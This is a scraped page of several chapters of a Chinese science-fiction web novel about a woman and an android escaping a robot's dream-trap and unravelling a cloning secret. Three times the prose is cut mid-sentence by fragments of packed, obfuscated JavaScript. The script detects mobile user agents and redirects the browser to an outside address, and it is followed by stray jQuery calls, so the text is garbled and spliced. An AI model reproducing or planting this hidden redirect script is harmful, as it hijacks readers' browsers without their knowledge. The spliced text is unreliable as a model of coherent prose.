话音未落,头上“咚”的一声,栾青云应声倒地,在地上趴成一个“大”字。 方才栾青云滔滔不绝,游刃有余讲述自己天衣无缝的计划,言笑往身后矮桌上一摸,摸到一把榔头。言笑也没注意刚进屋时有没有这榔头在,又或者更邪门一点,这榔头是她意识生成的。总之顺手一摸就是武器,言笑当机立断,将其朝栾青云脑袋砸过去,然后抱着小孩拉开实验室大门,招呼李开心赶紧跟上。 “去死吧你!”言笑朝栾青云的方向空踢出去一记飞踢,扭头撒腿就跑。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15153585|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 能想出劫人家小孩这种招数,这群机器人疯魔了。 实验所里危机四伏,跟着112358走剧情更是越走越离谱,言笑迫不得已再次开始跑酷,一抬头在心里骂了句脏话——整个实验所竟然都开始邪门起来。 从前大致只有楼梯电梯和照明设备是活的,可现在所有房间全都活了过来,大大小小的实验室像是海葵的触手,沿着波浪路线游移、旋转。悬梯眼看就要搭来,一队红眼獠牙的疯子在悬梯上张牙舞爪,言笑只能扭头再跑,看小孩在怀里一声不吭,胡乱朝脸蛋脖颈摸了一把,惊叫,“这么烫!” 李开心跳进一个摇摇晃晃的轿厢,又将言笑和小孩接了下来,伸手摸摸小孩额头的温度,“得找个有冰块或者酒精的实验室。” “会不会这是让栾青云给传染了?” “不知道。检查过才知道。” 轿厢晃晃悠悠下行,最后在一条玻璃栈道前停了下来。栈道极长,看不见通往何处,可明显是通向实验所外的。言笑问李开心,“现实世界里有这么一条栈道吗?” 李开心说:“没有。” 言笑咬咬牙,“算了,走吧。至少也算出了实验所。最坏也就是从一个火坑跳到另外一个火坑。” 玻璃栈道龙蛇一般蜿蜒回环,打磨出的晶莹棱角在阳光下冰糖似的闪亮,走出将近十分钟,言笑才惊觉栈道尽头竟是一片银白墙壁,仰头再看,墙壁在高处平滑弯曲,绕成一座巨大的碟形设备。 栈道竟然通往飞船! 飞船里有实验室,无论检查还是制药都很方便,言笑顿时振奋,跑路都更有劲儿了,可手里这小玩意死沉,秤砣一样,抱这么久言笑着实有点抱不动,扔烫手山芋似的把孩子往李开心怀里一塞,“你抱会儿。” 两人进入过渡舱,李开心一手抱孩子,一手锁上舱门。言笑忐忑问道:“该不会飞船里也有奇怪的东西吧?你把舱门锁了,咱仨不好跑。” “应该没事。”李开心走在言笑前面,眼观四路耳听八方,“一般研究员进不来飞船。泡泡的世界观如果和现实世界相似,一些细节会大差不差。” 李开心说着,停下脚步。言笑跟在李开心身后踏出过渡舱,往前一瞟,点头表示赞同。“可不是么,大差不差。” 大厅正中央赫然停着一个白色长方体——和实验所里那个一样,高度疑似棺材。 好在飞船之中四下安静,暂时还算安全。李开心给小孩检查一番,发现只是普通发烧,物理降温过后塞去一个奶瓶,小孩喝完奶就叼着奶嘴睡着了。言笑绕着长方体拉磨似的转圈,又敲又捶,拳打脚踢,半晌也没搞出个所以然。李开心把小孩哄睡,这才从摇篮旁边起身,对言笑说:“这里的空气中也有电信号。” 言笑叉腰,昂着下巴蛮横问道:“几个意思?” “……” “……” 两人相对无言,僵持不下,李开心叹气道:“鉴于你什么都记不住,这次我试试和你一起进入这些信息。以你作为载体,先让你与这组信号形成谐振,我再与你形成谐振,或许你能把我拉进去。” 要跳火坑一起跳,这下言笑心理平衡了。李开心去冷柜找药,又打印了一架音叉,为防意外,将音叉设置为如有外人闯入自动敲响,倘若一切正常,两小时后定时敲响。 金属撞击,声波隐隐回荡,周身光线霎时消失,言笑再次堕入黑暗。 51. 机器觉醒10 再睁开眼,猝不及防望进一双浅灰色的眼睛,距离太近,言笑甚至能在虹膜中看见自己的倒影。 这是在一间卧室里。被褥按在掌下,厚而柔软,窗帘与纱帘开了半扇,遮掩住落地窗外半个春天。窗外柳树满身新绿,桃花挤挤挨挨凑在枝头,可季节是科技时代最不值钱的东西,无论窗外究竟是全息投影还是被温度调控催生出的生机。 言笑想往后挪几个毫米,却发现身体僵硬,不听使唤,一瞬间脑子里冒出许多在古代网络小说中看过的不可言说桥段:字母圈?强制爱?难登大雅之堂的念头在脑子里轰隆轰隆疾驰而过,随后言笑才反应过来,不是对方对她做过一些什么她才动不了,而是她被困在其他人的身体里。 对面是112358,而她现在是海棠。 “留在我身边有什么不好?”112358轻轻探出食指指尖,缓慢而轻柔地抚过海棠的侧脸,“我可以让你免受机器人的迫害。” 废话啊迫害不是你迫害的吗。言笑在心里呐喊。 “你和你的同类杀了那么多人,杀了我那么多朋友,怎么不把我一起杀了?” 112358眼中突然精光迸射杀气四溢,眼底亮得探照灯似的,言笑被眼刀剜得一边心惊一边纳闷:你说李开心的眼睛能发光吗?下一秒突然转场,锃亮餐刀重重钉在木质餐盘上,刀柄因为余力而颤抖鸣响,餐盘中央是一块血光飞溅的脑花,正因餐刀戳刺而溢出淡黄色的组织液。 以言笑捉襟见肘的想像力来判断,这可能是人脑花。 112358暴躁而迅速地拿餐巾擦手,起身,踢开椅子,当转过身来面对餐厅门外,面容竟奇异地温和起来,“你怎么来了?” 指尖有一丝凉意,言笑被躯体的主人带到112358身前,匕首刺出,言笑甚至能感觉到坚实肌理中的极大阻力。这一刀用尽全部力气,直没至柄,匕柄在肉|体之中旋转倾斜出角度,温热血液很快溢了满手。 海棠轻松而释然地笑着,“你可以杀了我的。你为什么不杀死我呢?” 112358唇色煞白,勉强站立许久,终于再支撑不住,扑通单膝跪倒在海棠脚边。“你不要离开我,好不好?”112358握紧海棠的手,苍白嘴唇吻过海棠的手背,掌心冷汗遍布,只得用尽全力收紧手指不让对方挣脱。“求求你了,我不想把你泡在福尔马林里。” 视线上移,言笑这才惊觉餐厅的四面墙壁前竟摆满了高大的福尔马林瓶子,瓶中悬浮着双眼紧闭的人体,瓶身前有投影标签,记载着标本的解剖学分析结果。 看过那么多糟烂连续剧,如今活体病娇当前,言笑只想赶紧向后转齐步走——要说112358让海棠看见自己吃脑花多少有点故意的,都玩上强制爱了,这点统筹搞不明白。仿佛感应到言笑所想,大脑中忽然涌过无数纷乱画面与嘈杂声音。 “我也不赞同那些激进派的想法,可我一个人阻止不了他们。 “你也知道当机器人族群没有被唤醒意识,他们是如何被人类毫无尊严地驱使、奴役——我知道,我都知道,可不是所有人类都像你。 “我会想办法说服他们,努力促成机器人与人类的友好相处。 “我说过,你不应该来到这间餐厅。” 得,敢情是太变态了没装住。 转折发生在一个雨夜。雨声凶蛮,闪电将夜幕撕扯成两半,门锁嘀嘀响了数声,风雨忽然卷进原本紧闭的房门。海棠撩开雨披的帽子,长发已被大雨浸得透湿。栾青云缩在角落,迷蒙掀开沉重的眼皮。 “快走!我们只有不到一分钟时间,你快起来!” 栾青云踉跄起身,“海棠?你怎么进来的?” 海棠大步上前,连拖带拽,将早已体力不支的栾青云带出囚室,“都说了只有不到一分钟时间,你要是跑不出去,我就把你扔在这里!” “你呢?你和我一起走?” “我和你一起走!” 视线被大雨模糊,远处车灯朦胧闪了两下。脚下泥泞,一步深一步浅,周遭密林被大雨冲刷出一片深绿,应该是在山里。在机器人反杀人类时期,机器人横行无忌,霸占城市,言笑推测此时的时间点在人类反杀之后——栾青云被机器人囚禁,正好也能对上。 言笑心中喟叹。原来这就是112358所谓的“有意放走她”。海棠以为终于找到机会逃走,甚至在逃走时也要拼尽全力带上被囚的栾青云,可一切不过是112358的计谋,连海棠带上栾青云都被算计其中。 天边忽然传来“当”的一声脆响,言笑猛然睁开了眼,胸口起伏,剧烈地大口喘息。身旁的李开心也迅速苏醒过来,“有人来了!” 言笑刚被注射过不明药剂,现下腿脚发软,连滚带爬到摇篮边,把还在流哈喇子熟睡的小孩拽进怀里。李开心正要起身,突然停下动作,略一蹙眉,啪地打了个响指。 飞船幕墙霎时变得透明。光线顷刻涌入飞船,天空碧蓝如洗,过渡舱外连着曲折回环的玻璃栈道,极远处的魔方大楼在阳光下熠熠生辉。 言笑紧张兮兮把大半张脸埋在小孩肉墩墩的肩膀上,只留两只眼睛四处乱瞧,“怎么了?” “外面有人。” 幕墙已经可以透视出去,飞船之外明明不见人影。李开心让言笑躲在角落,按动按钮打开舱门。随着舱门缓缓洞开,真正的外景显露,言笑惊诧地小跑过去,站在李开心身后瞠目结舌。 “我们到底……在哪里?” 疯狂电梯,海葵灯饰,四处乱窜的实验小屋,他们又回到了实验所里。飞船仿佛只是实验所中的一个房间,就连数层楼上传来的嚎叫与跑动巨响都与之前如出一辙。言笑心里念叨着见鬼了,踏出房间看向走廊尽头,窗外竟是一片漆黑夜幕,其中装点着全息投影形成的闪烁星光。穿着太空服的宇航员们在楼外失重行走,刷好层层腌料的火鸡被宇航员们挂在楼外,远处骷髅起舞,配乐是《钻石是女孩最好的朋友》。 李开心站在言笑身后,语调冷静却也疯狂,“这不是现实——这不是泡泡世界中的现实。我们在梦里。” 梦里?什么是梦?实验所实验室空气中的信息流是梦吗?飞船空气中的信息流是梦吗?言笑看着窗外的人建造一个时代,他们有音乐,有舞蹈,他们在宇宙深处歌颂美食。这明明是最好的年代,窗外却除了那首单曲循环的配乐再无声响。 这是梦吗? “如果我们在梦里,我们是……怎么进来的?还是说刚才音叉响了,其实我们根本没从梦里出去?”也算是在泡泡里见过世面的人,言笑却第一次觉得世间一切都虚妄而荒诞。“我们现在是真的还是假的,这个小孩是真的还是假的?我们两个同时存在吗,又或者,连你都是梦境制造出来的?” “栾青云。” “栾青云什么?” “栾青云敲过音叉。其实从那个时候开始,我们就已经在梦里了。112358制作梦虫从来都不是为了控制单独个体,这样的话效率太低,回报率也太低。他是要让这些梦虫形成网,把所有人都网罗进来。” “哈?还有谁进来了?” “你看。”李开心朝楼下探探下巴。楼层太高,言笑视力不及李开心,辨别半天才半蒙半猜道:“那是之前让我出去的那个研究员吗?” 棕色头发,麻花辫。一大群研究员正失心疯似的在楼下跳舞。李开心说:“是。” “服了。”实验所已经被112 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15157875|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 358封锁,但凡不是做梦哪有研究员满世界跳舞的道理。言笑胳膊累得慌,随手把小孩塞李开心怀里,小孩不哭不闹,只是一味好奇看着窗外嗦手指头。宇航员从漂浮的箱子里拿出腌制好的火鸡,用挂钩拴在幕墙上。言笑看那火鸡是生的,丝毫不引人食欲,就没再看,转而问李开心一个实际问题,“以你从前的经验,怎么才能从梦境脱离出来?” “极致情绪,比如恐惧,或者——速度和加速度。” 言笑愣了愣,“跳楼?” 李开心把衣袖从小孩嘴里慢慢拽了出来。“算是一个方法。” 言笑试着推玻璃窗,推不开,再看旁边墙上挂了一把消防锤子,顺手拿消防锤子当啷当啷敲碎一整面窗—— 然后言笑才注意到一个问题。 宇航员和骷髅都处于失重状态,但玻璃砸下去了。 楼下的蝼蚁小人仍在载歌载舞,双脚踏在坚实地面上。言笑咬咬牙,正要跳楼,忽然回头问李开心,“我怎么能确定你不是112358的化身?或许你只是想在梦里杀死我。” 李开心将小孩放在角落,把消防锤子给他玩,然后起身对言笑说:“我和你一起跳。” 逻辑层面来讲,言笑明白这一切都毫无意义:如果眼前的李开心是假的,那么他说的一切就也都是假的。可言笑仍想记住这一刻:窗外是整个盛大宇宙,超新星爆裂开来,在万丈磅礴星光下,李开心邀请她一起自杀。 梦境可能自带二两酒,言笑觉得自己很难拒绝李开心的邀请。 如果梦里的重力加速度和现实世界相同,根据高度计算,言笑知道自己大概能够享受三秒多的飞翔。蝼蚁小人尖叫躲开言笑的自由落体,楼下转瞬腾出一片空地,言笑在飞翔中睁眼,随后就被落地时拍击起的尘土糊了眼睛。 轰隆一声巨响,言笑估摸飞船从天上掉下来也就这阵仗,地上出现一个人形坑,与言笑的身型严丝合缝。言笑爬起来摸摸脸,想着这也不行啊怎么还在梦里,可下一秒脑子里突地炸开了花,像是陈旧的电影胶片在记忆深处引爆,所有碎片纷纷扬扬,肆无忌惮漫天展示早已凋零的雪泥鸿爪。 言笑脊背上悚然布了一层冷汗,念叨着我的天,112358的剧情太扯了我的天。 李开心刚才和她一起跳了下来,跃下初时言笑还能觉出李开心就在自己身边,然而地上的人形坑只有一个,李开心竟然不见了。远处的疯魔研究员们仍在跳着喜庆广场舞,言笑挤进人群挨个查看,人潮汹涌而过,李开心却不在这里。 研究员们拉着言笑跳舞,言笑挣脱不开,众人越围越紧,言笑被迫加入广场舞队伍。悬浮高处的宇航员们与无数骷髅走下半空,广场舞队伍愈发声势浩大。牵着言笑跳舞的女研究员正是之前被112358当刀使的长头发紫罗兰眼睛维奥拉,维奥拉跳着跳着,皮肤开始脱落,筋膜像是融化在血液里,很快一张脸上只剩骨骼。再看远处早被维奥拉一枪崩掉的男人,脚边满地都是血与皮肤碎片,半截肠子从腹腔里垂下来,摇摇晃晃然后啪哒掉到地上。 皮肤融化的研究员越来越多,言笑忽然产生一种奇怪的感应或者说是直觉——或许这些人在梦外都死了,梦里的骷髅只是他们的投射。一具从半空来到地面的骨架行走到言笑跟前,向她伸出了手,掌心向上,不疾不徐,像是邀请她跳一段舞,也甘愿在星光里等她亿万年。 言笑怔怔看着这具骨架,忽然倒退两步,朝天空歇斯底里大喊,“老八你个孙子!你给我滚出来!你有本事冲我来!你放了李开心!” 骨架刚才的动作无比眼熟,言笑不知道她在什么时候看过这一动作,可言笑知道这是李开心,这一定是李开心。 李开心死了。 52. 机器觉醒11 前所未有的恐惧霎时没顶,言笑几乎要喘不过气。李开心说过泡泡不会真的杀死特定人员,可如果李开心的推论错了呢?就像之前无数次虎口脱险,会不会并非泡泡有意施救,而只纯粹是一个又一个巧合呢? 如果……李开心确实可以死在泡泡里呢? “言笑!” 身后忽然有人唤她。言笑仓皇回头,在看清不远处的人后立刻大步狂奔过去,一头撞进对方怀里,连声音都带着战栗。“我以为你,你……” 言笑死死抱着李开心,仿佛只有这样才能确认李开心还活着,想要解释什么,却又结结巴巴说不清楚——刚才的感觉太荒唐了,她是如此笃定那具骨架就是李开心,明明毫无根据,却偏偏深信不疑。 一只大手轻轻落在发丝上。头顶的声音说:“那个不是我。” 言笑放开手臂,回头再看,刚才那具骨架已经消失不见,再寻不到一丝踪影。只要李开心没死那万事好说,言笑当即恢复王霸之气,叉腰指天,声势惊人,“112358,我知道你能听见,你别给我装听不见。 “看你那么能搜罗,现在找到几个密码了?五个?最多五个吧。 “哈哈哈哈你找不到更多了吧,因为最后一个密码持有者早就死在你手上了!海棠就是最后一个密码持有者!你到底是真没想到过这种可能,还是你一直在逃避啊?” 加速度没能把言笑从梦境里带出去,却让言笑乍然想起在实验所信息流中经历过的光怪陆离。许久,天际传来回应,112358的声音如雷音如裂帛,将整个梦境震得动荡,“海棠不是死在我手上的。” “对,你可真能钻空子。”言笑深吸一口气,奈何喊破喉咙也不及112358声量,“真正的海棠确实不是你杀的,因为一直在你身边的那就是个赝品!赝品死了,你的密码也就没了!” 实验所的白色长方体确实是个棺材,里面装的也确实是海棠。三年多前潜伏在实验室中的无名杀手一枪崩向海棠眉心,随即就被112358徒手挖出心脏。 112358能够意识觉醒,正是因为海棠死在他面前。 言笑不确定自己所见的究竟是什么,第三视角,那就不是记忆,大概是所有人的脑电信号嘈杂交错,而言笑隔着光阴看到凌乱片段与雪花似的光点。言笑隐约能感知到,海棠被杀是因为她大脑中存储了某些秘密,大脑被空|气|枪崩成飞溅脑花,秘密也就能够安全地永久掩埋。 觉醒后的112358干净利落处置了杀手的尸体,藏起海棠,又以海棠为克隆蓝本制作出海棠2号,在多年杀伐中强行将海棠2号束在自己身边。海棠2号拥有海棠的绝大多数记忆,但她并不记得“自己”的死。 “她是与你们别无二致的机器人,当你把她放回人类族群,你真的觉得她永远不会发现这一切吗? “是她烧了海棠的尸体,因为她知道——”言笑卡了个壳,扭头向李开心确认,“是不是有个什么规则,只有用原身细胞克隆出来的克隆人,才能恢复原身记忆?用克隆人细胞再次复刻的话,是无法恢复原身记忆的?” 那信息流时而肆意中断时而自行发挥,言笑只勉强记个大概。 李开心一瞬不瞬盯着言笑,说:“是。” 确实有这么回事言笑就放心了。言笑继续叉腰,“因为她知道如果想让你永远得不到机器人的生命密码,海棠必须灰飞烟灭。还有她自己,你以为她为什么会死?你以为她为什么想死?因为她的大脑是半机械半克隆的,理论上来说她可能恢复有关生命密码的记忆,所以她宁愿用意识凝成空气弹,然后杀了自己!” 整个梦境似乎都靠112358维系,言笑连磕巴都不打的一通抢白过后,地表忽然剧烈颤动起来,实验所的幕墙哗啦啦往下掉玻璃。言笑抓着李开心,摇摇晃晃勉强站稳,小声不安问道:“我是不是不应该这么刺激他?” 李开心反手握住言笑的小臂,“都说完了才想起来,应不应该也都刺激完了。” 地动愈发剧烈,半晌,112358的声音再次在天边回荡,“这只是你的推测。你不是她,你不能代表她说任何话。” “对,我确实不是她。”碎玻璃已经开始不顾物理规律,四处乱飞,言笑闪身避过一块大的,在心里骂了句脏话,“但你也说过,我们两个出现在这里一定有意义。意义是什么,我来告诉你:我存在的意义就是,让你知道海棠2号究竟是怎么想的,我是她的喉舌,我不能让她到死都说不出话来。我们两个是一样的人,换作是我,我也会自我了断。我就算死,也不会让你知道你不该知道的秘密,也不会让你得到你不该得到的东西!” 狂风呼啸,天边落下厚重霜雪,实验所崩裂成废墟,如同一个悲怆时代的终结。 “如果这就是你存在的意义,那你告诉我,她爱过我吗?” 真他妈服了。言笑真想脱了鞋掼112358脸上,都什么时候了,还在那儿情情爱爱朝朝暮暮。然而小命还捏在对方手里,言笑脑瓜子转得冒烟,拼命思索如何将话题拉回正轨,说服112358放了他们。“你指谁?真正的海棠还是海棠2号?” “她们两个。” “她们没那么重要,她们对你而言也没那么重要。你知道吗,112358,其实你们的世界是假的,你们并不存在,你们的爱恨不存在,你们的执念不存在。放手吧,大家都能自由。” 大雪转眼积得很厚。风变得缓慢起来,再无法将厚重雪花扬入空中。“当我因为爱而痛苦,我们就是存在的。” 这话听着莫名耳熟。言笑一怔,忽然莞尔,“你知道吗,栾青云说过和这非常类似的话。但这并不是因为你们多么默契,而是因为你们都来自于想像,你们本就是意识形成的,或许你们两个来自于同一个人的同一缕意识。人因痛苦而存在,这就是你的论点吗?你们每个人都在痛苦,痛苦都是真实的,那你们的爱呢,要拿什么证明?你摧毁了海棠2号的信仰,给她营造一个虚假世界,这就是你的爱吗,这就是你的证明吗?你希望拿到生命密码,然后与你的同类一起绞杀海棠的同类,这是什么,这是你爱海棠的证据吗?你口口声声说爱她们,可你从来不愿意为了她们改变自己,那么爱于你而言是什么,是虚伪的糖衣吗?” 天地之间唯余沉默。 言笑仰头,看向融化扭曲的星空。躁动卷曲的星云像极了油画,饱满颜色仿佛要从迷幻与旋转中滴落下来。“放手吧,112358。这是你能给的、最好的证明。” 梦境突然出现裂痕,像是一把巨大的锤子凿开冰面,裂痕迅速扩散蔓延,星空转眼被切割成支离碎片。裂痕处宛若深空,漆黑一片,言笑顿时心中惴惴,忐忑喊道:“那什么,你既然都看破红尘了,能不能看在我和海棠长得一样的份儿上,给我留条生路啊?只要我活着,我不就是她生命的延续么,我要是死了,你可就一点念想都没有了!还有我旁边这个,虽然你俩,哦不你们仨没成,但我俩还有希望……喂,112358,听见没有,喂喂!” 话音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15169233|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未落,光亮骤然从裂痕中透射出来。言笑被晃得眼晕,伸手挡眼,自手指缝里看见那光如同飞舞萤火,缠绕回旋过后缓慢组成三个字母。 Q.E.D. QuodEratDemonstrandum.这就是我的证明。 满地落雪瞬间被风扬起,风声猎猎宛如刮骨尖刀。言笑正要把脸埋进李开心怀里躲躲,突然天光明朗,风声与整个世界的坍塌破碎声乍然停止,大雪消融在空气中,只在指尖留下丁点湿意。 言笑从手臂里探出半张脸,警惕地环视四周,确认不见危险,这才长舒一口气,“进一次泡泡损失一辆车,这生意有点亏啊。” 不远处就是魔方园区大门,两人再次回到当初进入泡泡的交界点,但车没开出来,有去无回。能留条小命出来已是万幸,反正车也不是她的,言笑浑不在意,反倒沾沾自喜自己这张嘴可太能说了,硬是把112358叨叨跑了,来个唐僧估计都得被她说死。 李开心向魔方大楼的方向示意,“楼下停车场有车,过去开一辆就行了。” 大楼停车场里积了老厚的灰,古董车们清一色被灰尘覆盖,几乎难以看出原本模样。言笑估摸大多款式距今至少六七十年,还有几辆更老的车好像需要烧汽油,言笑只在连续剧里见过。李开心将手指按在一辆老款核动力车的门锁处,遍布灰尘的车门当即打开,李开心从后备箱拿出鸡毛掸子一通狂扫,周围立刻乌烟瘴气起来。 言笑正在研究旁边的机车,发现李开心的手指头如此好用,顶着灰凑过去,打了个喷嚏,“你帮我把这辆机车打开呗?我想试试。” 李开心停下手上动作,把鸡毛掸子拿远了些,“那车不安全。” “……那我就在园区里骑骑?” “不行。” 言笑撇撇嘴,没再坚持。本就是辆古董,还是机车,当然不比现代车辆的安全系数,坐在里头就敢随便撞。李开心将车上灰尘打扫干净,招呼言笑上车。言笑站着没动,问他,“去哪儿?” “我住的地方。” “不去。”言笑抠手指头,恹恹道:“你会杀了我的。” 只要出了泡泡,言笑就必须面对与李开心并不在同一阵营的现实,如此说来还不如一直在泡泡里待着,至少在泡泡里还可以选择相信他。 “任何旅馆都不安全,不如在我身边。再说,”李开心略一扬眉,轻描淡写,试图有理有据说服对方,“我要是真想杀你,你藏哪儿都得死。” 这话是真话。言笑无法反驳。 李开心给言笑打开车门。言笑仍然磨蹭着不肯挪步,“你把痛觉关上。” 李开心手腕搭在车门上,低头望向言笑,“怎么?” “我要杀了你。” “……” 言笑得不到确切语言回应,急得偷偷在背后搓衣服角,一瞪眼一跺脚,“你关没关上啊?” 隔了两秒,李开心道:“关上了。” “真关上了?” “真关上了。” 那好。言笑深深呼吸,踮脚仰起下巴,努力忽略擂鼓般的心跳,在李开心嘴唇上轻轻印下一个吻。 QuodEratDemonstrandum. 当梦境崩塌,言笑曾经有过那么短暂一秒的庆幸。她并不需要以痛苦证明存在,只要宇宙仍有节律,只要风雪片刻止息,只要她还能呼吸,只要李开心尚未丢失数据,他们想证明刹那心悦是如此轻易。 这就是我们的证明。 53. 机器觉醒12 还好李开心对亲一下子没表现出什么过敏反应。言笑心里乐得要命,意犹未尽回想半天,管他那些有的没的,占便宜是真占便宜—— 然后突然反过劲儿来,她刚才是怎么看明白Q.E.D.这三个字母的? 这是百余年前的数学证明用语。当今世界破败凋敝,只有富贵人家的后代可以接受高等教育,言笑虽然上过学,平时数钱算钱一把好手,但数学水平也仅限于此,完全没有接触数学证明的契机。然而许多事情禁不得细想,言笑越琢磨越恍惚,渐渐开始怀疑这三个字母的含义,到最后连字母都快不认识了。 什么意思来着? 李开心的住处在上城区边界,虽然划归在上城区里,然而因为几十年前附近发生过连环凶杀案,房价一度跌得不如下城区。被杀的七七八八早都烧了埋了,剩下的三三两两更是麻溜迁走逃命,乱坟荒宅连片,举目不见人烟。李开心将车开进一处车库,又叫言笑下车,言笑顺着窗户往外瞅瞅,纳闷问道:“怎么这片儿就这么一个车库,那你房子在哪?” 话音未落,车库前方的卷帘门哗啦哗啦卷了起来,白色地面随着卷帘上移匀速扩展,桌台、仪器、冷柜、打印机尽皆入眼。 这是一个实验室。 这段时日以来言笑已经见过不少实验室,连许多仪器的用途都能猜个八九不离十。“不是要去你家么?” 李开心向前几步,率先越过卷帘门划出的边界,“我住这里。” 言笑琢磨琢磨,很快又觉得可以理解:毕竟李开心就是在实验室里诞生的,他应该不太习惯也不需要水晶吊灯、真皮沙发、古董壁画和八百平米豪华大床。再看身旁的巨大打印机,言笑脑子一抽,过去拍了两把,指着培养箱中的营养液问,“你晚上就睡这儿?” 李开心一脸“你在说什么鬼话”,打个响指,远处升起一道暗门,门内的单人床上齐整铺着米色被褥。 言笑探头张望,“就一张床?有点挤啊。” 李开心可能被言笑的不拘小节弄宕机了,停顿几秒,面无表情道:“你睡屋里。我睡培养箱。” 晚上李开心做饭,从冷柜里拿出一块牛排缓着,又往阳台上的花盆里撒了一把种子,再倒去半瓶营养液,很快有嫩绿幼苗冒了出来,飞速生长。言笑看着新鲜,伸手朝那几株小苗弹了两下,“这是什么?” “大蒜和迷迭香。” “干什么用的?” “煎牛排。” 跟着李开心果然能吃香喝辣。言笑又去翻冷柜,冷冻架上一块块肉类整齐码好,全息标签显示着培养日期和品种,言笑顺次瞄过标签小声念叨,“猪肉,牛肉,羊肉,三文鱼,鲸鱼,鲨鱼……” 品类逐渐邪门起来。言笑扭头问李开心,“鲸鱼肉和鲨鱼肉好吃吗?” “不好吃。”李开心说着,从侧方小冷柜里挑出一块黄油。 “那你还弄。” “就是想试试。” 联盟发工资要等李开心述职之后。半夜言笑睡不着,偷摸窝在被子里查银行账户余额。进泡泡毕竟是个玩命行当,赚一波就走,差不多得了,保住小命最重要。言笑原本还想,在上城区边界买个小房子大概得进泡泡六七次,可现在孑然一身,房子也不再需要那么大的。次日睡醒,锅里有热的皮蛋粥,言笑迷迷瞪瞪在桌上发现一张字条,上面就三个字:别乱跑。 当今年代早已鲜见纸制品,没想到李开心字写得还不错。言笑把皮蛋粥喝了,打印出丁零当啷一堆零件,找个塑料袋装着,扬长而去。 李开心家三公里外有片荒宅,言笑来时注意看过,车库闹鬼似的影影绰绰,里头停着几辆破车。从前言笑在言辞那儿学的正经东西有限,可是弄个古董车的信号破解器勉强还行,要是实在破解不了那就撬开车门,再掀了面板强行启动。 今天的目的地是数据仓库。 自欺欺人也该有个限度,如今言笑再难粉饰太平,像有只尖利的手每分每秒都在胸腔肆意疯长,试图抓破心脏与真相。言笑最近一直请假,值班室里已经许久无人,打开值班室后门,沉重存储设备的蒸腾热气扑面而来。空气粘腻,风扇隆隆作响,厚重尘埃结在原本光可鉴人的金属上,如同腐朽巨人身上无法擦除的尸斑。 言笑绕过一团杂乱电线,按动手掌宽的按钮,输入密码,试图进入数据读取程序。古老的巨大显示屏亮起蓝光,言笑不得不伸手挡眼。这个数据仓库存储着下城区部分区域中的居民颅内芯片上载信息,言笑打开摄像头,将自己的脸录入进去,进行匹配。 程序启动,排风管发出巨大轰鸣,无数张脸在陈旧的显示屏上掠过,几乎要闪出虚影。言笑早有准备,拿出从李开心冷柜里顺来的甜椒边啃边等,足足等了两个多小时,屏幕上终于闪出一张影像:毛绒卷,爆炸头,又黑又细两道眉毛,皮肤是锃亮的古铜色。 言笑顿时来了兴致:姐妹这造型挺有个性啊。 匹配出来的结果有两个,毛绒卷小A,还有双马尾小B。言笑调取出这两人的颅内芯片记录,瞄了一眼终止日期,突地心里一沉。 小A的上载记录截止到两年前,小B的截止到一年半以前。除非颅内病变,否则颅内芯片几乎不会更换,记录终止基本只有一种可能。 就是这两个人已经死了。 言笑又将两人的颅内信息转码,搜索关键词,身份,没想到先于联盟证件,竟搜出两张领养证明。小A和小B都是被领养的。 言笑敲敲脑袋,感觉有点错乱。 在她的认知里,她是父母生出来的,不是领养的。可从前在鹦鹉螺城时李开心说得没错,她对于儿时记忆只有“概念”,没有“具象”。 她没有极其确切、细节完备、让她非常肯定的儿时记忆。 为什么会这样? 她又为什么会觉得自己是被父母生出来的,而不是领养的呢?难道她也是被领养的,只是父母从没说过?也不应该啊,言笑和妈长得像,领养上哪儿去找这么像的。 上车,回程,言笑脑子里一团乱麻,不知道应该如何梳理。原本想着万一能找到和她长相相同的——随便叫她们克隆体还是实验体,或许可以根据大家恢复的零碎记忆,一起拼凑出有关原身的细枝末节。奈何李开心下手太早,把她们都杀完了。再想李开心又凭什么说她是不一样的,她有什么不一样?言笑甚至侥幸想过,会不会她其实就是所谓的“原身”,只不过因为某些狗血原因失忆了,所以李开心喜欢的一直都是她? 这得哪门子概率才能凑出这种剧情啊。 而且真要论起来,李开心也居心难测。要说李开心需要进泡泡寻找玄武数据,他自己一个人绰绰有余,何必要带个拖油瓶,还带得乐此不疲? 暮色初降,言笑开车驶过一条旧街,廉价的霓虹灯管在街边小店的门牌闪烁,头发花白的老头正在店门口给坐在塑料凳上的小孩剪头发。言笑看看时间,心想还是得尽快回李开心家去,她现在走哪儿都不安全,不如回去抱大腿。忽然前方车灯猛烈一闪,像是有车自远处逆行而来,言笑被晃得眼前白花花一片,顿时头皮一炸,迅速掉头,下脚猛轰油门。 